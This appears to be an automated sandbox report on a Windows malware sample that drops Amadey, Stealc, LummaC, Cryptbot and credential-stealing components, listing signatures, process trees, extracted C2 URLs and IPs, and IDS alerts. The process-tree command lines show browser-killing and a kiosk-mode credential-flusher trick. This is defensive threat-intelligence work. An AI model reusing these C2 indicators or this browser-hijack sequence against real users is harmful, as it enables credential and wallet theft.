Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561857
MD5:	1720b52474ed20de02ae925ba32024b7
SHA1:	47b050f6af2e0382ce2efc05d31a76f4e007d1eb
SHA256:	36390b8dbc533edd9af51b7960bba7c5ba5ffe23b52e025733c2267f21ed07ff
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Clipboard Hijacker

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops large PE files

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7544 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1720B52474ED20DE02AE925BA32024B7)

skotes.exe (PID: 7744 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1720B52474ED20DE02AE925BA32024B7)

skotes.exe (PID: 7760 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1720B52474ED20DE02AE925BA32024B7)

skotes.exe (PID: 1364 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1720B52474ED20DE02AE925BA32024B7)

r5mqFEC.exe (PID: 7276 cmdline: "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe" MD5: 7DC51C5014010A56BD8A33D256831A30)

conhost.exe (PID: 2588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

r5mqFEC.exe (PID: 7572 cmdline: "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe" MD5: 7DC51C5014010A56BD8A33D256831A30)

r5mqFEC.exe (PID: 7580 cmdline: "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe" MD5: 7DC51C5014010A56BD8A33D256831A30)

a7f098a093.exe (PID: 6104 cmdline: "C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe" MD5: 4D727EA77C6A382BCCBB1EE8970B67EE)

e5e907fecb.exe (PID: 7896 cmdline: "C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe" MD5: 1EB940602D253A449C44E9ECFD4714C4)

3996dc7402.exe (PID: 8144 cmdline: "C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe" MD5: 5EF73B409C0A81B7D80CCE15A2E83AD9)

chrome.exe (PID: 5184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5268 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2068,i,137062989363131379,3334334011690293707,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WerFault.exe (PID: 6188 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8144 -s 1564 MD5: C31336C1EFC2CCB44B4326EA793040F2)

d986826e57.exe (PID: 6612 cmdline: "C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe" MD5: 76F39BC0A5718AF31E2C979EE0DA0837)

taskkill.exe (PID: 1144 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3960 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6688 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6924 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6332 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7112 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

19cf1f0449.exe (PID: 3220 cmdline: "C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe" MD5: A96C40D05014AD3737C638DD279B0563)

e5e907fecb.exe (PID: 5012 cmdline: "C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe" MD5: 1EB940602D253A449C44E9ECFD4714C4)

firefox.exe (PID: 6356 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6680 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2116 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {78dc1d96-0b76-4467-b815-40c13a0cb6b1} 6680 "\\.\pipe\gecko-crash-server-pipe.6680" 1d53a26dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4140 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4016 -parentBuildID 20230927232528 -prefsHandle 4128 -prefMapHandle 3956 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {001f3511-2f2e-4cf9-832b-7aa384c4ffa9} 6680 "\\.\pipe\gecko-crash-server-pipe.6680" 1d54c386410 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

3996dc7402.exe (PID: 4936 cmdline: "C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe" MD5: 5EF73B409C0A81B7D80CCE15A2E83AD9)

d986826e57.exe (PID: 4556 cmdline: "C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe" MD5: 76F39BC0A5718AF31E2C979EE0DA0837)

taskkill.exe (PID: 2668 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6160 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2412 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4812 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6532 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5916 cmdline: MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs:443/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["home.fvtekk5pn.top", "CgPhome.fvtekk5pn.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.3218633907.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2313546363.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1753823043.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2718635332.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.3207489291.0000000000481000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.3257614525.00000000012E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
0000000A.00000003.2558891081.00000000032B0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000029.00000003.2996946073.000000000124F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000002.00000003.1756175985.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000003.2853261373.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1796955424.0000000000C21000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1794588718.0000000000C21000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2864753465.000000000150F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000000.00000002.1750360381.0000000000411000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1705192242.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2562004467.00000000032B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.2826165474.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.3310520507.0000000000481000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.3933389019.0000000001726000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: r5mqFEC.exe PID: 7580	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: r5mqFEC.exe PID: 7580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: r5mqFEC.exe PID: 7580	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: a7f098a093.exe PID: 6104	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: a7f098a093.exe PID: 6104	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: a7f098a093.exe PID: 6104	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Process Memory Space: 3996dc7402.exe PID: 8144	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3996dc7402.exe PID: 8144	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3996dc7402.exe PID: 8144	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e5e907fecb.exe PID: 5012	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e5e907fecb.exe PID: 5012	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e5e907fecb.exe PID: 5012	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d986826e57.exe PID: 6612	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 3996dc7402.exe PID: 4936	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3996dc7402.exe PID: 4936	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d986826e57.exe PID: 4556	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.skotes.exe.c20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.410000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.c20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1364, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e5e907fecb.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe, ParentProcessId: 8144, ParentProcessName: 3996dc7402.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5184, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1364, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e5e907fecb.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:15.859333+0100	2028371	3	Unknown Traffic	192.168.2.4	49770	104.21.10.6	443	TCP
2024-11-24T14:24:17.914676+0100	2028371	3	Unknown Traffic	192.168.2.4	49777	104.21.10.6	443	TCP
2024-11-24T14:24:20.395275+0100	2028371	3	Unknown Traffic	192.168.2.4	49784	104.21.10.6	443	TCP
2024-11-24T14:24:23.832709+0100	2028371	3	Unknown Traffic	192.168.2.4	49793	104.21.10.6	443	TCP
2024-11-24T14:24:26.800594+0100	2028371	3	Unknown Traffic	192.168.2.4	49801	104.21.10.6	443	TCP
2024-11-24T14:24:30.238767+0100	2028371	3	Unknown Traffic	192.168.2.4	49812	104.21.10.6	443	TCP
2024-11-24T14:24:32.935327+0100	2028371	3	Unknown Traffic	192.168.2.4	49819	104.21.10.6	443	TCP
2024-11-24T14:24:38.074658+0100	2028371	3	Unknown Traffic	192.168.2.4	49833	104.21.10.6	443	TCP
2024-11-24T14:24:38.587916+0100	2028371	3	Unknown Traffic	192.168.2.4	49834	104.21.33.116	443	TCP
2024-11-24T14:24:40.766455+0100	2028371	3	Unknown Traffic	192.168.2.4	49841	104.21.33.116	443	TCP
2024-11-24T14:24:51.784967+0100	2028371	3	Unknown Traffic	192.168.2.4	49870	104.21.33.116	443	TCP
2024-11-24T14:24:53.903725+0100	2028371	3	Unknown Traffic	192.168.2.4	49876	104.21.33.116	443	TCP
2024-11-24T14:24:57.144558+0100	2028371	3	Unknown Traffic	192.168.2.4	49893	104.21.33.116	443	TCP
2024-11-24T14:25:00.435588+0100	2028371	3	Unknown Traffic	192.168.2.4	49908	104.21.33.116	443	TCP
2024-11-24T14:25:05.948562+0100	2028371	3	Unknown Traffic	192.168.2.4	49926	104.21.33.116	443	TCP
2024-11-24T14:25:09.262529+0100	2028371	3	Unknown Traffic	192.168.2.4	49938	104.21.33.116	443	TCP
2024-11-24T14:25:12.951751+0100	2028371	3	Unknown Traffic	192.168.2.4	49950	104.21.33.116	443	TCP
2024-11-24T14:25:20.231290+0100	2028371	3	Unknown Traffic	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T14:25:24.218665+0100	2028371	3	Unknown Traffic	192.168.2.4	50004	104.21.33.116	443	TCP
2024-11-24T14:25:26.531710+0100	2028371	3	Unknown Traffic	192.168.2.4	50014	104.21.33.116	443	TCP
2024-11-24T14:25:28.725204+0100	2028371	3	Unknown Traffic	192.168.2.4	50022	104.21.33.116	443	TCP
2024-11-24T14:25:31.045066+0100	2028371	3	Unknown Traffic	192.168.2.4	50031	104.21.33.116	443	TCP
2024-11-24T14:25:33.291531+0100	2028371	3	Unknown Traffic	192.168.2.4	50037	104.21.33.116	443	TCP
2024-11-24T14:25:35.541015+0100	2028371	3	Unknown Traffic	192.168.2.4	50044	104.21.33.116	443	TCP
2024-11-24T14:25:38.265419+0100	2028371	3	Unknown Traffic	192.168.2.4	50052	104.21.33.116	443	TCP
2024-11-24T14:25:40.419423+0100	2028371	3	Unknown Traffic	192.168.2.4	50065	104.21.33.116	443	TCP
2024-11-24T14:27:54.805611+0100	2028371	3	Unknown Traffic	192.168.2.4	50241	51.116.246.106	443	TCP
2024-11-24T14:28:34.941587+0100	2028371	3	Unknown Traffic	192.168.2.4	50259	104.21.33.116	443	TCP
2024-11-24T14:28:36.995946+0100	2028371	3	Unknown Traffic	192.168.2.4	50261	104.21.33.116	443	TCP
2024-11-24T14:28:39.212204+0100	2028371	3	Unknown Traffic	192.168.2.4	50263	104.21.33.116	443	TCP
2024-11-24T14:28:41.703107+0100	2028371	3	Unknown Traffic	192.168.2.4	50266	104.21.33.116	443	TCP
2024-11-24T14:28:44.240010+0100	2028371	3	Unknown Traffic	192.168.2.4	50269	104.21.33.116	443	TCP
2024-11-24T14:28:46.463768+0100	2028371	3	Unknown Traffic	192.168.2.4	50270	104.21.33.116	443	TCP
2024-11-24T14:28:48.978447+0100	2028371	3	Unknown Traffic	192.168.2.4	50273	104.21.33.116	443	TCP
2024-11-24T14:28:49.452234+0100	2028371	3	Unknown Traffic	192.168.2.4	50274	104.21.33.116	443	TCP
2024-11-24T14:28:52.141741+0100	2028371	3	Unknown Traffic	192.168.2.4	50275	104.21.33.116	443	TCP
2024-11-24T14:28:53.840662+0100	2028371	3	Unknown Traffic	192.168.2.4	50277	104.21.33.116	443	TCP
2024-11-24T14:28:54.354383+0100	2028371	3	Unknown Traffic	192.168.2.4	50278	104.21.33.116	443	TCP
2024-11-24T14:28:56.639286+0100	2028371	3	Unknown Traffic	192.168.2.4	50281	104.21.33.116	443	TCP
2024-11-24T14:28:58.827096+0100	2028371	3	Unknown Traffic	192.168.2.4	50300	104.21.33.116	443	TCP
2024-11-24T14:29:00.982474+0100	2028371	3	Unknown Traffic	192.168.2.4	50311	104.21.33.116	443	TCP
2024-11-24T14:29:03.235671+0100	2028371	3	Unknown Traffic	192.168.2.4	50318	104.21.33.116	443	TCP
2024-11-24T14:29:05.360835+0100	2028371	3	Unknown Traffic	192.168.2.4	50321	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:16.549041+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49770	104.21.10.6	443	TCP
2024-11-24T14:24:18.656163+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49777	104.21.10.6	443	TCP
2024-11-24T14:24:38.825594+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49833	104.21.10.6	443	TCP
2024-11-24T14:24:39.475651+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49834	104.21.33.116	443	TCP
2024-11-24T14:24:52.550753+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49870	104.21.33.116	443	TCP
2024-11-24T14:24:54.661851+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49876	104.21.33.116	443	TCP
2024-11-24T14:25:21.058800+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T14:25:25.040465+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50004	104.21.33.116	443	TCP
2024-11-24T14:25:27.240135+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50014	104.21.33.116	443	TCP
2024-11-24T14:25:41.125533+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50065	104.21.33.116	443	TCP
2024-11-24T14:28:35.648300+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50259	104.21.33.116	443	TCP
2024-11-24T14:28:37.733645+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50261	104.21.33.116	443	TCP
2024-11-24T14:28:50.649439+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50274	104.21.33.116	443	TCP
2024-11-24T14:28:52.830055+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50275	104.21.33.116	443	TCP
